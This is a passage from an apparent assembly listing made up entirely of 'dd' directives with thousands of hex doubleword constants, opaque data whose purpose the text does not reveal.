0EEF40251h, 0C1400B55h, 0E655182Ch, 0F2093484h, 22CD2B25h dd 0B9C0833Ch, 3516491Bh, 16B85905h, 3783404Eh, 7C80648Bh dd 3EAFD6E8h, 62177624h, 0D1AF513Ah, 0F867A250h, 0B9590295h dd 4265105h, 8C085E8Bh, 2969E78h, 5040894Fh, 60803D8Ch dd 834654CEh, 0FB627732h, 98E21D4Ah, 0B50B1DBAh, 9C629CB2h dd 47F959B1h, 0F9218BE9h, 48468A22h, 3C761BE1h, 0B4B217F6h dd 0F6995268h, 920C780Bh, 6C7C4496h, 0C376217Ah, 2405F607h dd 10046B9h, 55800775h, 326B090Dh, 0AAA2C6FFh, 0D3910CE8h dd 0C4F128C3h, 0F2170E2Ch, 44562DE9h, 33EC1BF0h, 0AA3E8AF6h dd 24D43DC7h, 0E312C65h, 0DC0CE4D8h, 19AE15E3h, 2E806DEh dd 90FC09F0h, 6626D811h, 4A83A0DAh, 0EDB484FAh, 9A185EEAh dd 86C5DC2Eh, 0D0A99197h, 0F086D928h, 6A2B3350h, 0F9C3202h dd 0DE31ABDAh, 0D2D414BDh, 0E2603D17h, 0BBF4122Bh, 35393ED0h dd 0CC46138h, 941F840Fh, 4C0BB83Fh, 1CEF58B9h, 309E51FFh dd 0B20A4236h, 0A7DEB9EEh, 3F58369h, 5A65E268h, 3862D2Fh dd 0E62ADA6Ch, 0F14B1A6Ah, 26266974h, 0E05F5A42h, 0EAC5936h dd 61A7D6B4h, 0A55C9003h, 0DD3DEA1Ch, 0F316963Ah, 83D70508h dd 0F1FC04C6h, 75123E38h, 9611E889h, 5C9ACFF8h, 0C7BADD08h dd 76E81353h, 70A2D966h, 71E8940Dh, 5D13F279h, 182974C1h dd 2F28894h, 14212045h, 8DAAFD6Ah, 74185330h, 0A4BE3717h dd 0DECA56E6h, 0F8623453h, 0CBE1164h, 21C6870Ch, 8B23D05Fh dd 12C57084h, 12091FC5h, 39162204h, 0C64D4130h, 13EBEF24h dd 0B5BD834Ch, 0E8AA5231h, 13ADD076h, 8A944EA8h, 0DB13C5C5h dd 0D48431EDh, 5FAB21FDh, 8AF5900Eh, 0A496A02h, 5B1240D4h dd 9901BF22h, 457CC610h, 9DA8A4Eh, 74C824B4h, 4468648Dh dd 0A2380599h, 8DBCBDD2h, 68E4CC88h, 313D892Dh, 0A7E1DBEBh dd 1FBDD744h, 227087Dh, 674411DCh, 87C2F842h, 527FAC64h dd 4EA5C5D4h, 28B783ECh, 0BD068CD0h, 9FE5CBCh, 648588Dh dd 8BD888Fh, 54516955h, 48B35397h, 0BFCC3A64h, 48E08524h dd 65F79E0Eh, 1D2CA2DCh, 9D0E06EBh, 6A3F10C0h, 764F3248h dd 8B004842h, 0F1874F8h, 9C0A46BFh, 220C16BEh, 918BF466h dd 76544B0Bh, 85AA0364h, 0A7091FEh, 53D57566h, 8256F063h dd 98680A8Bh, 0E046DC05h, 0F22FC981h, 86F46929h, 6112C95Ah dd 1A393521h, 0DF05975h, 3C465725h, 4D2DCF9Ch, 18FD47EEh dd 0B8195D72h, 0FDDC7E32h, 0A05D4C0Bh, 5F96EBE8h, 11D09AB1h dd 29F45F52h, 6C78E874h, 9D4EB70Ah, 0B9DB330Bh, 0C26CFCA9h dd 4306F924h, 988916D8h, 85C691A0h, 2B0C7594h, 96166512h dd 0DC5D5B91h, 0BD12E57Dh, 765FE2C8h, 0A891FB41h, 925725B4h dd 7784075Bh, 627D28F8h, 4710BFAh, 0EB12E50Fh, 0A38922EFh dd 572D2B64h, 0C4899453h, 0B8DC45C8h, 0FE066948h, 8956424Dh dd 661C13FDh, 0CED82E33h, 4667E09h, 69857080h, 0BC0821BCh dd 41472A39h, 0B0096BC8h, 404616CCh, 669DC8CAh, 28C04527h dd 8B070262h, 0C40BE9C3h, 290A6454h, 9D8945C4h, 37EAA324h dd 0CCB5C238h, 35DAF92h, 0DD8D419Eh, 0F459170Eh, 41E3D0BBh dd 0CDF04D7h, 5002570Ah, 6ABF929Fh, 78397518h, 0BF233EB9h dd 8EE0BFCh, 6926C77Ch, 0A6E75464h, 0BB976C77h, 0F0F5984h dd 0ACC8D054h, 492208ADh, 0F420D94Ah, 56D6B54Bh, 3B674480h dd 75F47D0Bh, 0D840C26Ch, 32104A5Fh, 1A7FCC8Dh, 0C8F125CEh dd 223E6962h, 9890958Bh, 3B01C933h, 390E76D6h, 0B0498D84h dd 0F041DE43h, 0C0F272CAh, 83127508h, 731440FAh, 9C17890Dh dd 282A8594h, 7E4BAD3Bh, 5B1B87h, 0CC6815D1h, 4E0B169h dd 0FDF6E9D3h, 41A64659h, 0CB9D3F9Fh, 487F8A00h, 5D8D558Bh dd 4CE3BE8h, 0BC393076h, 401C3185h, 0EB00C1F9h, 8C198B20h dd 8921D085h, 2A17A8DEh, 3F494043h, 0C55E639h, 0E91A3427h dd 0BE24BB99h, 9DFA51FCh, 680A6AE9h, 0E8097EC4h, 8441505Eh dd 0BC682A18h, 16365811h, 0E1A518C9h, 16A4020Dh, 0E923A468h dd 25884640h, 11919C21h, 61F4A25Ah, 84681449h, 10871C08h dd 10EDCE7Ch, 6C6832E7h, 8502F810h, 0C9C86490h, 84711079h dd 1CD42402h, 0A5214C43h, 2C681EE1h, 1087B008h, 5381C824h dd 68EB61FDh, 6A175220h, 13103B96h, 0E19E0C68h, 880A4651h dd 6C2F6408h, 3A12E5F4h, 84EC721Ch, 37890B42h, 7DBEBE87h dd 0DC9F2427h, 5027FE42h, 6616215Bh, 0C1C6F809h, 10595948h dd 0D3C44B2Ah, 97407D42h, 157EFE9h, 9EB8214Eh, 246F8BDh dd 0BE056A2Ah, 0FF3C30A0h, 50665184h, 0A44BDCEFh, 684FA808h dd 0AFEB0A0Fh, 32986441h, 0D10F397Ch, 5C85C2B6h, 4132EA30h dd 0DC19D508h, 668D2AE0h, 993E8E1h, 700428ECh, 2A5A39A9h dd 0DF28EB10h, 252D861Ch, 3E36F8EDh, 0C10F8ADEh, 204932C5h dd 4E763634h, 429BB2FBh, 0F8126310h, 44478D68h, 0DE0BFAE5h dd 2308648Dh, 0ED533A10h, 7A474AD2h, 54EF289Fh, 86B2335Ch dd 3F602448h, 1C3CA11Dh, 346421DAh, 4AFEAB31h, 0C9A022D1h dd 9C0D2850h, 0D3D92031h, 388FEFDBh, 3045D942h, 3490018Bh dd 4A76787Ch, 21169DDBh, 17829658h, 1B67F068h, 0F928A412h dd 59B80132h, 22FBA2F9h, 9021F724h, 842E1467h, 0B53914C2h dd 75EF21F7h, 1D495623h, 0FCBCFBEFh, 0A33C3C8Ch, 581C5D07h dd 0D2BEE809h, 0F7FC55ECh, 91564B84h, 932CEBF9h, 0DC1B20D4h dd 651FD297h, 245822D9h, 0E6CDFDF0h, 1B15420Bh, 968B4868h dd 0A8308B3Ch, 5C470C78h, 0FC3A83Bh, 0D31A548Eh, 0F60B16E9h dd 0A62CB5Ch, 1903071h, 0C933654Bh, 38B573C7h, 1DCB4B6Ah dd 4AA38C54h, 0F06D329Ch, 0C2B9F609h, 41780C75h, 88FABB94h dd 0D9272800h, 167542A1h, 16F411B1h, 8EB0450Ch, 93C3C9FCh dd 5CBFDF2h, 7BFC9899h, 6A32D6CAh, 0DD587C4Fh, 0E4581486h dd 5CDDCF2Ah, 0E611462Dh, 1607474h, 75100C46h, 39BF573Eh dd 0B3194EC6h, 0D3CFA51h, 71100884h, 5708FAFCh, 0F0918CA5h dd 33665069h, 0C9743D80h, 0E8565F09h, 1DF812E3h, 307B279Dh dd 9C28F088h, 29620EDh, 73ECB962h, 0BD141800h, 5995DB33h dd 461000CAh, 0ACB08953h, 2FA144BFh, 0F48A50DCh, 92F810BFh dd 0A4A171FCh, 86DD7FFDh, 5A9182A7h, 0F5163BDEh, 61A7BAFDh dd 0BF56840Fh, 0AC851A81h, 64BEDF57h, 50D9DC43h, 3268132Eh dd 7C2B7FA1h, 7D195414h, 6C189CECh, 3885F033h, 0DED68B44h dd 9D622B37h, 7D0684D8h, 0DF04E2B1h, 86B5F1C2h, 0A102500Eh dd 0B5321029h, 0BD70D25Eh, 0D6400A85h, 3C428453h, 1302B984h dd 0A60812F4h, 4CBDC428h, 0BD9112C4h, 0F8080289h, 41667520h dd 0C839CEF4h, 0E881F818h, 84604458h, 0DB85C912h, 46DCB7C8h dd 0E8CB22FEh, 83191075h, 811422FBh, 0A24C8B17h, 94A9AC43h dd 860F06BEh, 0C2947526h, 111EE90Dh, 1242893Ah, 5605D786h dd 4C58E5A4h, 10C533F7h, 3FF4A3E7h, 6364CE49h, 5722211Ah dd 0DD948C14h, 32AC4C13h dd 0A88418A4h, 508201D2h, 88886E2h, 0C33B401Fh, 27BFE90Dh dd 0E010E528h, 0E08BD0FEh, 0F74B8D40h, 0E43BE72Ch, 0E91A9356h dd 0F1895197h, 9FFA11Ah, 0D15FB004h, 2796A5F6h, 43C9008Fh dd 24FDE9C4h, 6A61861Fh, 3D848A4Dh, 0A3C1A40h, 0A435F288h dd 4433B0A9h, 381CBE90h, 0BA2B426Ah, 0FBE08331h, 7414C066h dd 24981348h, 8BC0FDFEh, 765905F8h, 34B83336h, 728D5055h dd 8E13B42Ch, 0BAC4710h, 0FE010E03h, 0D71AEC8Fh, 0EB7CFC54h dd 142F1752h, 403C3068h, 5FA6F9A0h, 0D3E2354Fh, 18843153h dd 9B0C23F6h, 0BF60FDCEh, 30465047h, 3BF584E8h, 0F1359F8h dd 63494382h, 0A61C58E9h, 8B888134h, 3B091626h, 15EA084Dh dd 0EBEF3381h, 0BD302223h, 0B8A0B093h, 0FD2E8446h, 51A7F04Ah dd 31D9620h, 0FE81C504h, 73DC4789h, 65833E3Dh, 23D4C9CAh dd 1C8D5BBDh, 325FC92Bh, 6434420Ch, 60B3B818h, 47844F45h dd 0A20214E8h, 9EB1521h, 94EC2230h, 50E22CEAh, 0FD425186h dd 0F82A0B6Ch, 0C5BDA4B0h, 0F7100813h, 0E6921BEh, 0C210F4A2h dd 55FDB49Dh, 1021A64Ch, 68B014F7h, 27FA1884h, 0E8E410EBh dd 62CD4A32h, 0CA18108Ch, 9767BD51h, 0E88BA421h, 2F13FC2Fh dd 51AEADFBh, 5442362Ch, 0FCB72216h, 47A16E5Dh, 2EBF51ECh dd 0AC10A1A3h, 0FC38A103h, 71A0B00Ch, 0F4500CE8h, 0FD433C13h dd 9DF9AC10h, 7F25F356h, 0BD3D45EBh, 0E523EE5Ch, 740D0364h dd 6C486807h, 5EBD81Dh, 220F2CDBh, 0D198D44Ah, 2598453Ah dd 2F9A52BEh, 8370466Ah, 0C2A831D6h, 51F68489h, 1E6AE041h dd 0A20C2890h, 0BD833080h, 0B09C487Ch, 0B4E69864h, 68D10842h dd 88177514h, 4B91E989h, 0D26C086Bh, 0EB46C1D1h, 5AA32B1Bh dd 40101D46h, 654F886Ah, 0C2142528h, 0A3643988h, 4CAA2386h dd 89F9FB12h, 750ACAA3h, 1BE8F616h, 972E841h, 0EB955FB8h dd 57CAF91Dh, 511A4A17h, 2BF023D3h, 0EC174710h, 0E8A01AF8h dd 9093F0B2h, 717DD625h, 77DD6EC4h, 0F022A937h, 24CB6697h dd 4492F325h, 80FA9010h, 50492F38h, 6D447047h, 7AC67008h dd 1EFC495Ch, 30F5D95Eh, 2FE1F206h, 0F133A34h, 4318F012h dd 9FFA6B26h, 761A5264h, 287EC777h, 53E62B8Ch, 26396931h dd 802EC700h, 13A035BCh, 24647525h, 324FF515h, 0F6911A48h dd 1002303Dh, 1D84C646h, 0E5208891h, 0EB838B83h, 2E19881Ah dd 752F3C80h, 15C6A05h, 0F03EB58h, 4988C0BEh, 465A0822h dd 504E87F3h, 25BBE843h, 2C813BBDh, 642A9072h, 4ED8AAC0h dd 680C1275h, 0DAFA31F4h, 1440A1F1h, 11F0680Ah, 109F284h dd 0EC2C06A3h, 9415622Bh, 0C20C174Ah, 74F0F8EAh, 894C0A4Eh dd 5FEB0708h, 9BE7107Fh, 0A5EF1D19h, 0A703FD5Ch, 0F2E7E21Bh dd 3C9D12C6h, 0E8B2A4F9h, 667477C6h, 53147522h, 86755C55h dd 6DF8872Bh, 0C04C8822h, 0F15AC49Fh, 1862618Ah, 9A16086Dh dd 21B7A6B7h, 1C1CF13Bh, 0FCD08DC4h, 0E4B58943h, 5BEB0F12h dd 0E9126CE6h, 7176FDE5h, 29036A3Ah, 21B26756h, 0ED32D580h dd 74F190DDh, 886FAD30h, 5914F0EBh, 0DE4741A1h, 9045CA64h dd 53BF846Ah, 853CFC5Eh, 0FB44758Bh, 5602F73Ch, 0B499A868h dd 576594B9h, 10D29B13h, 64EB6E1Eh, 0CD52D460h, 0CBD12E64h dd 6738CCB0h, 3CCDF88Ch, 682A408Ah, 405E2ACCh, 8CA4C899h dd 2E488D45h, 0C73B40C9h, 0DC628189h, 0BB3D755Bh, 880C32C3h dd 60905047h, 72A95868h, 11261447h, 4D9D2618h, 980269B7h dd 0EDEC033h, 7DCC0593h, 4629339h, 0CCE7EBF0h, 54694AFh dd 6C88DB23h, 185310FAh, 0F806FC5Dh, 9D736BE8h, 65DEDB2Ah dd 94F7C757h, 5D392001h, 5F74F810h, 0BE018322h, 1128F285h dd 6010FDB8h, 22094A71h, 65C1FE3Ch, 0D27CD6E9h, 0F2D5D78h dd 0E8B9A284h, 141D70ACh, 0DD385C88h, 68683244h, 6C375820h dd 848C0A65h, 80534010h, 9FB9F759h, 6B48C2FFh, 5789B64Dh dd 2C707285h, 8FDD535h, 4B908510h, 336BE8F8h, 2D1F5E31h dd 4C629A0h, 0E6F22A38h, 432913D4h, 648B884Ah, 87012C1Ch dd 9C286862h, 2C574334h, 0CF23470Ch, 0E21C1414h, 219ABE3Bh dd 0A7D2F6B1h, 0FA1B741Bh, 3F9269CBh, 82021985h, 0E8466DAh dd 3672784h, 750C74E2h, 3C80CC00h, 0F0F32F08h, 0F4127548h dd 96665040h, 31A0C245h, 0A54E0107h, 0C0292990h, 0C262796Fh dd 52C9BCF3h, 20F67938h, 19FC782Dh, 8729A847h, 0F00EA27Fh dd 505136F6h, 589E233Fh, 1F03D088h, 0A6A5E7BFh, 221E199Dh dd 447016A7h, 0B86C68A4h, 5FFDB6E5h, 84AE61F1h, 211B4A8Ch dd 0B2E290B4h, 0D0EB1271h, 0CEC8CF2h, 1B7CA045h, 9C1DE0CCh dd 0E02F6689h, 0B06FB930h, 0C3D2771h, 77870F02h, 0ACED91AFh dd 39A02A1Fh, 4D08C551h, 0C961BF2h, 0EE056240h, 88EA4A84h dd 68A88C52h, 0EEA4ED60h, 0CFF62029h, 8ADC109Bh, 0B4040B01h dd 749BD1F8h, 42915950h, 7018841Fh, 6DB83FBh, 9F6A3F63h dd 99AE84F2h, 741505DFh, 68C8931Ch, 0BD666F8Ah, 2F27F21h dd 287E928h, 8AA88408h, 74690C7Bh, 0E1C81943h, 483F9814h dd 57886F42h, 3CF24C09h, 0F4C224EFh, 92827C76h, 14117116h dd 7D644068h, 59F8370Eh, 0E8861E84h, 2C903D66h, 4E591E29h dd 0C30776E2h, 0A9B4B4Fh, 4254088Dh, 92BCF1BAh, 13E53043h dd 0EC181F07h, 0A0A66E19h, 0E92C736Eh, 3AABFE83h, 8DF16558h dd 6E906884h, 482A7ACFh, 0E9243D72h, 0FCC88448h, 0A2C12245h dd 978598B5h, 0AC59AFE8h, 14B889ADh, 0C46EA695h, 8CC1EB7Bh dd 0C287F756h, 213CF0F6h, 2176F36Ch, 0A3BF6CF4h, 0F32EC2F0h dd 0F310083Dh, 102B1F44h, 30CE6E48h, 9264CAF0h, 87F2DAF8h dd 98858B41h, 2E82BB14h, 0A604D50h, 79DB6DC8h, 241C0C1Bh dd 0CA2126EBh, 0A868781Bh, 535651CAh, 0EFF3E861h, 7190507Dh dd 0A47669C8h, 7B67BD6Ch, 62E9DFA6h, 0B9D06566h, 482535B4h dd 31A09811h, 39F0354Eh, 0A6526299h, 0A82D5813h, 88FC1C90h dd 159CC905h, 696D782Ch, 0D9E9F742h, 742E9AEBh, 0F7452B8h dd 1B891590h, 2D6416DCh, 8EF914EBh, 1504688Ah, 4FE9C789h dd 0E9F11000h, 0B3929329h, 5380717Ch, 0F6331D56h, 577E2557h dd 75A35E3Ch, 0AC558034h, 1E84935Bh, 8C5B92B6h, 56888208h dd 627B9C53h, 0BAE0C63Bh, 6C5B740Ch, 0C2894989h, 8D99FBFCh dd 0C804CC1h, 0DF7D3B39h, 0DD8AFC97h, 26A843Dh, 22FFD8F7h dd 81E6AC7Dh, 2D18FC68h, 140B5745h, 68B0DE68h, 357E4910h dd 0F162F73h, 333DB918h, 5CA22769h, 94299BB7h, 385394B9h dd 9DA2D6E8h, 10D7CD5Fh, 0F0CDE8B8h, 16609EB4h, 0E3E3C80h dd 0C604755Ch, 572F805Dh, 0F0B7E846h, 0EA613DB4h, 287AC78Bh dd 218B0414h, 0CCA560DCh, 807A9DE6h, 51066A2Fh, 27E96843h dd 0F090FFF9h, 0A5F4E81Ch, 11FDCACEh, 0A73B1C75h, 9182231h dd 34C0E8F2h, 0F4CA8FEBh, 74F818F4h, 28F6A170h, 546C13Ah dd 7237FB8h, 681985BEh, 0B33B5068h, 24146690h, 68201306h dd 8CB08C80h, 3662ED4Bh, 64CCDEF0h, 0DE3F502h, 0BB726E2Ah dd 0C41EB956h, 229ADBCAh, 0D2E59F10h, 90CA5E13h, 4E00B84Eh dd 7BB7F7E8h, 0E7B66018h, 90CD7882h, 19751429h, 0F9931457h dd 52F64B76h, 32C05413h, 0C655F5Eh, 4A088408h, 17F83E59h dd 0ED7358BEh, 0F2E42FD8h, 3662B7A7h, 0F264F9D6h, 5383840Ch dd 1E2D4048h, 850DA5F3h, 936ED194h, 829AF48Bh, 0CDA507DEh dd 75F005D4h, 0BCA6C571h dd 85F2A5B2h, 44F88084h, 1D217310h, 47201CE7h, 0F88010FFh dd 0C4F01C8Fh, 8431FE9Ch, 0BFAD11FCh, 0F842801Ch, 0B1444518h dd 43DE90B5h, 12E4B2CEh, 312B2DFEh, 0E528A5FFh, 0A7539341h dd 64BC3342h, 0A8D84E2Bh, 0FAD2B4CEh, 196775FEh, 33FFBE12h dd 5DD157B0h, 0CDB22EC0h, 3BD619CBh, 9425C172h, 809B823h dd 6FC4BDE9h, 8C4E8842h, 0ED624B92h, 68C33BFFh, 5375F806h dd 25D0F064h, 0C0A1F090h, 942D0872h, 0D0E52368h, 0C2E1BEC8h dd 6321E294h, 0E3D06243h, 0E3231571h, 54F212A7h, 0A2391756h dd 30904C79h, 0BD890DEBh, 1D6FB680h, 235B78BFh, 0B54C28ECh dd 0CCE940F8h, 0BFC8055Fh, 0FCC8A4D0h, 0ED7C4B85h, 21E88242h dd 0D2436CE6h, 0A211FF40h, 335A6F17h, 0AD59F1A3h, 28F8E09h dd 8BC3BE56h, 8C0BB5CFh, 66A8FEFAh, 94C41181h, 74BF10FCh dd 0F0D8C2AFh, 64E1C8CAh, 7188A1D4h, 4E7D6814h, 1A2CD64Bh dd 2627F20h, 3D77455Dh, 20CFA828h, 3828E532h, 595A299Dh dd 0D156383h, 29BD80C9h, 44093F1Dh, 22F7645Ah, 0E819FD8Ch dd 8419ED05h, 35AD2BD9h, 168C98F0h, 919DEF7Ah, 32262A59h dd 3B3E1442h, 4BD711CCh, 9AF9D35Fh, 0FA51E417h, 7C146B28h dd 691A478Fh, 0B3B989D3h, 8C5343B2h, 734B45FBh, 0E38989FEh dd 0D1848A2Ah, 0DF9D8829h, 0DD29C61Fh, 5046F72Ch, 22824322h dd 0DD60FD83h, 0A99B3FBh, 0ADCCD44Dh, 70C5F8D8h, 44BE51FCh dd 62FA80FCh, 52E62AB8h, 1968E327h, 58BEE40Ah, 7DAAE443h dd 0D3D0DA45h, 6B888DBCh, 0E9590541h, 0FC31CC0Ah, 0C1AD6091h dd 0B7A35413h, 0FD8C8872h, 18E479EAh, 9AD15CCCh, 0C5118425h dd 0F3412718h, 0B18A7303h, 0A1030467h, 8D8A1B08h, 4A48BB2Bh dd 9EF980C4h, 60F5801h, 0C932C0FEh, 0EB834426h, 0C17A087Ch dd 200A8D51h, 53888203h, 0C0B6300Fh, 0E0C1C906h, 6103083Ah dd 0C62B090Ah, 0E8E0423Eh, 4D47FD26h, 0E81E40A9h, 0D633C8FCh dd 58B90111h, 0C2F42A01h, 447A580h, 5C693591h, 25C52329h dd 2B4933F0h, 71C8A13Bh, 25C0E901h, 4F40B15h, 71B86809h dd 5D26392Ch, 0F8971F4h, 0A5B5FE8Fh, 25211DCh, 9E92880h dd 9D265CDCh, 9E3959C1h, 597F1062h, 9BC43513h, 0B594E8E0h dd 56E32BFCh, 5AF9ADDDh, 4B4AF68Fh, 362E53BCh, 30686D18h dd 584C7749h, 83E80CEEh, 2E392AE2h, 0A4A6881Dh, 20BF16AFh dd 56417471h, 1F90BE30h, 5003068Bh, 5546B4D8h, 0E4C2D3DAh dd 77242105h, 115F541Ah, 93F65711h, 0DA283F4Ah, 0C6258340h dd 7EFE683Ch, 0D098A3F8h, 1635FF5Eh, 446A9B8h, 1037E17Fh dd 213F43E1h, 0BC159010h, 0C26A899Bh, 0AFE70E92h, 56BAA50Dh dd 62402318h, 38C4C53Fh, 0D549BB51h, 0CDE8F218h, 0C21DE4Eh dd 2570277Eh, 34FF0B14h, 0CB29A8C5h, 0E58C8A94h, 0E8099C42h dd 4351E1A0h, 0DC161394h, 418A9161h, 0C8790AF3h, 3EC7782Ch dd 76184F84h, 85F0EF3Eh, 81B5384Bh, 0B8563870h, 3642792h dd 47283F71h, 9411A3B0h, 46224273h, 0E8046A0Ah, 6C99934h dd 1243438Bh, 43C24CA1h, 0BB24BFE0h, 0F75909EFh, 0A353863Dh dd 1A18BD34h, 0C301D89h, 68C3FAD6h, 0BE310D03h, 0D345BC28h dd 0B7BB5B50h, 186AF950h, 9B92B8Ah, 7C23D74Eh, 836420A3h dd 6A474028h, 79B8D67Fh, 421A7526h, 530C1813h, 61E81738h dd 5C76386h, 4117B7BCh, 8218520Bh, 691D1934h, 1D82DE16h dd 0B605C655h, 145EA44Bh, 68828635h, 0D447950h, 29447D4Dh dd 0BF201A53h, 0DB5FC4B2h, 2CA3F221h, 42FE45ACh, 7D8E6853h dd 406B84A2h, 2D5C5EEAh, 1D120DC5h, 0C3232DE6h, 9B70F020h dd 2A2C2FE1h, 8FD44FCh, 141D60A9h, 201E7C76h, 0BF183D70h dd 0C780C17Ch, 13244904h, 88129F90h, 800E78C3h, 0A9C4C242h dd 78102EF8h, 0C410F1C1h, 90182F12h, 0F87888C3h, 0C4142384h dd 326A2C84h, 1D858FBDh, 74B541C0h, 2573E9F0h, 44234AF2h dd 0D8A4632h, 235F6484h, 10C38C11h, 5A8478B0h, 800538DFh dd 218CDA0Fh, 7842C384h, 889827C1h, 5F1D04D2h, 7512249Eh dd 68207319h, 0E95FAF8Eh, 0E19EF350h, 90DC418h, 0C65221B6h dd 2101DD1Bh, 0DBE2E803h, 0F1385237h, 547ABE40h, 56894C9Bh dd 6A333053h, 0B026905Ch, 60A096C5h, 18880274h, 3950A124h dd 6C54D0A0h, 586AA393h, 0CC621B0Bh, 0DE9322BDh, 0FD244C45h dd 25C8A30Dh, 0A2408DF4h, 28EC0849h, 640D8907h, 4411136Ah dd 681A5032h, 2BD5E821h, 42CF59A9h, 4E107818h, 0C40C91DEh dd 0D9D11C03h, 28C16084h, 96BD44C8h, 3A9A5A46h, 75472F45h dd 590B14D9h, 1C4892D0h, 36DDF2A1h, 3B45C62Bh, 61449FFDh dd 748826A5h, 0DDEB42C1h, 8B9107Dh, 9BC2BF56h, 0B1EFFC6Ch dd 0DE8C621Bh, 60B24055h, 4040883Ch, 305AC8A3h, 0D279B4E7h dd 2DE15449h, 864D6635h, 5E2D51E2h, 8FB4715Dh, 0CEA95610h dd 8C57F8EAh, 81F8067Dh, 0E8F000FCh, 99E56F60h, 76590FA2h dd 711424DDh, 0FC7032AAh, 0F44AF824h, 79A40BB7h, 7062535Eh dd 6C26E6F3h, 8E1B7639h, 0D27AC0ABh, 90F81AC8h, 44A0DE81h dd 0F58674FCh, 3B89072Fh, 0F605F7C6h, 68941F65h, 0F44D25B1h dd 59F80952h, 0C1C3077h, 0CD520489h, 33F94ED1h, 0A90120C5h dd 690F96E6h, 82ED1D47h, 0DBFC7D86h, 3BCA2780h, 6FB191D7h dd 820845ECh, 9D51EC75h, 1E7F69C2h, 0B2FC4BBCh, 6EE59645h dd 0F6BF8D3Fh, 9F6C7B33h, 0D8647B0Bh, 2D68FA95h, 2313FEE0h dd 6EBFFC9Ch, 10BDCA15h, 56309827h, 0DCF85E8Bh, 0FB123B59h dd 33F89F0Fh, 0A028CE1h, 0EC4F6A3Ah, 0FEB084F7h, 0D475B027h dd 482D80C7h, 0C9FDC601h, 5213D840h, 0D6A94C5Bh, 2BDC5FC6h dd 6959DE09h, 0E91090DBh, 8349C3A5h, 3014F07Dh, 41840F74h dd 6842983Fh, 5BEB590Dh, 78EDF205h, 27CEF9D5h, 12BDEBB3h dd 8A57C412h, 0FD7411E4h, 8B79F010h, 112028BCh, 1983304Ch dd 274414C8h, 0F95E16A9h, 0B5C63247h, 0FAC2BF8Fh, 0B5CA1355h dd 30E06E4Ch, 5F9DB87Bh, 104924BBh, 0B0AC5893h, 6B644586h dd 0EC7DA7D1h, 122DAF30h, 5740BD80h, 0F15AF510h, 0DE6D59E8h dd 6EC138Fh, 9BBFC010h, 0ECE8B80Dh, 0C8E79EB3h, 849CBF21h dd 48E72E38h, 44B0446Bh, 1294ABE9h, 0A8F86D28h, 91DAFC26h dd 0A9E01626h, 3160218Ch, 8FE8830h, 9467B9E4h, 6ED17A10h dd 8540EB6h, 3DAABF25h, 6E891EC1h, 14661AF2h, 0A42112E8h dd 21EC10FEh, 21C490A8h, 4BE09A94h, 0D3D2947Ah, 0EFDF4CFCh dd 0DA8D2191h, 557E3A89h, 8C90E4CFh, 0B14400F5h, 0AC5934BFh dd 838BE1F3h, 98758422h, 9EAC4D11h, 4734EF5Ch, 1A4CC177h dd 8FEF04D8h, 0CCB2620Fh, 2D146701h, 0B4C49B7Ch, 8445FC52h dd 0FB270144h, 32271C5Fh, 4C64D44Dh, 0B4088528h, 745393FEh dd 838C35FEh, 274CF8D6h, 0D6E2103Ch, 562F8F41h, 753E02F6h dd 4E44BE69h, 4A15EB97h, 8893D4E3h, 0F995B8DCh, 0B84D99A0h dd 38681034h, 0E664977Bh, 81889AB2h, 99985D39h, 8407D895h dd 2734B61Bh, 0DF539EDCh, 0B23DE871h, 3410AF27h, 36D584FEh dd 33795909h, 0C53888A7h, 35D4D41Ch, 89FBC2FAh, 49F69B1Ch dd 46483C9Ch, 0CCA48217h, 51AAB482h, 0DC4003D0h, 7C5053C8h dd 887AE810h, 0A073A129h, 0DE1EC5C1h, 0D8FE88D3h, 2BB01A95h dd 9207F6F4h, 0D4F5588h, 47513D3h, 0A376CBA6h, 0D84D8431h dd 4C882EA7h, 986465E8h, 7C4AC432h, 1A45BB14h, 7D6A2C24h dd 0C0D65F1Eh, 860FE020h dd 51C85C4Fh, 207428D0h, 0F088EBC7h, 0F220EA60h, 1FEBD614h dd 0FC2E6121h, 0D4EDF774h, 0AA7EDC26h, 1D5B8E7h, 0C9EC5074h dd 0CF21D1D0h, 22044A76h, 0AB655057h, 404378A2h, 91B54C22h dd 5826F09Fh, 1BB0E5A1h, 22357D13h, 0AC8D413h, 14D50BB8h dd 0A3F4DA4Dh, 4BD507DBh, 0B6EA453h, 0BC9090B3h, 0C2E8D4C3h dd 1AE9334Fh, 65DD4CA2h, 524A97F2h, 0EA55646Bh, 0D101B656h dd 0B8895B47h, 277C2729h, 2D953F6h, 7BD82589h, 60C044CFh dd 9F57066Ah, 0E7BAF146h, 0D3085D27h, 53FC44F7h, 30572A49h dd 4E0168A2h, 125F5204h, 8458B5B0h, 43C47050h, 80142CFBh dd 9B419B95h, 6A6519CAh, 1C7C230Ah, 4C518BB9h, 0CA842BEDh dd 7BE82809h, 0EA748B23h, 0DE495358h, 0BD890916h, 0B594AB8h dd 961A77DDh, 0FCB458B8h, 847BD888h, 29E8F44Dh, 0D9351257h dd 5AD1C482h, 35C84C33h, 2004C4A2h, 6E12BE74h, 0EC013964h dd 407CBD68h, 9489BFC3h, 23C84738h, 0CE1D91C6h, 0E8C5D868h dd 88344F69h, 4F9C1549h, 748C0052h, 0BF47E9F3h, 87D87E8h dd 7BC973BEh, 32C6AA63h, 565FD43Eh, 22F13455h, 0C6241344h dd 0BCF98BDEh, 6E60EE0Dh, 4148C933h, 82512066h, 0B29093A8h dd 47AB595Dh, 91D59933h, 190208D9h, 20BECCD7h, 7D3857E8h dd 847E47D6h, 0C4B26AF5h, 0EB4C56D2h, 4A2ED369h, 0E4150F78h dd 0EEB46D8h, 1D599FCEh, 230C20B2h, 0B838C73Bh, 7E8B40BDh dd 75BEDD40h, 0E489AA0Eh, 5650B089h, 9D71C7FCh, 65E0AD15h dd 16EBCCD6h, 525EA9FCh, 42BCC887h, 6D117C88h, 93A7B35h dd 8738BC8Bh, 5182D022h, 0B9A4B7ACh, 0CC138D14h, 1C25B38Dh dd 99469065h, 4F160E8Bh, 9A2BBDD8h, 41C67477h, 7E7EA568h dd 5F4D6038h, 4C5D9ED0h, 3068A1D3h, 0CEE8ED84h, 3F9B8932h dd 84622310h, 7BD9B0FFh, 0AC088B58h, 0E8FC0909h, 856D2AAh dd 0CA225B79h, 0CA50CFD0h, 7C7B97BBh, 5E54BC11h, 64D55A1Fh dd 1D10564Dh, 0E3365363h, 7E824046h, 173E9768h, 628BF349h dd 4A5DE9C3h, 28E890D4h, 0DCDE8811h, 0B9E7A486h, 98D813C7h dd 2481ECDDh, 0F652691Ch, 79BF28AEh, 4BD85740h, 